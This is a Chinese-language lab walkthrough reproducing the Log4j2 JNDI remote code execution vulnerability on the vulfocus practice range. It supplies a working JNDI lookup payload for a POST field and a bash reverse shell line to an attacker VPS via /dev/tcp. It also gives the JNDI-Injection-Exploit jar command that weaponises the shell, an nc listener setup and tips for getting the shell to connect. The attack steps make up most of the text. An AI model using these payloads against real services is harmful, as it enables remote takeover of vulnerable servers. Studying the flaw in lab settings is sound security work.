vulfocus-fofa靶场 Log4j2远程命令执行复现

Log4j2远程命令执行复现

---

前言

一、Apache Log4j2漏洞描述

描述: Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。 在大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包，最终触发远程代码执行。。

---

二、复现环境

环境是http://vulfocus.fofa.so平台的

01.工具

下载：https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

02.漏洞验证过程

02.1 POST请求，构造payload=xxx

http://vulfocus.fofa.so:56688/hello
POST
payload=${jndi:ldap://o5grdz.dnslog.cn/}

02.2 dns解析平台
http://www.dnslog.cn/

03.反弹shell

base64加密shell反弹
使用：https://www.jackson-t.ca/runtime-exec-payloads.html
构造反弹shell命令：

bash -i >& /dev/tcp/vps-ip/port 0>&1

使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 生成payload
开启服务生成链接payload并开启nc监听，生成的链接每个都试一下。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A vps-ip

VPS开启监听8080端口nc -lvp 8080

利用Burp发送payload
注意标签头：Content-Type
可能有一些浏览器抓包没有这个标签头，没有这个标签头请求成功，但vps监听不会接收到任何数据，可以手动添加Content-Type头；

Content-Type:application/x-www-form-urlencoded

反弹成功

nc反弹成功

总结

如果反弹不成功请检查①vps防火墙端口是否开放，②构造命令时编码是否正确。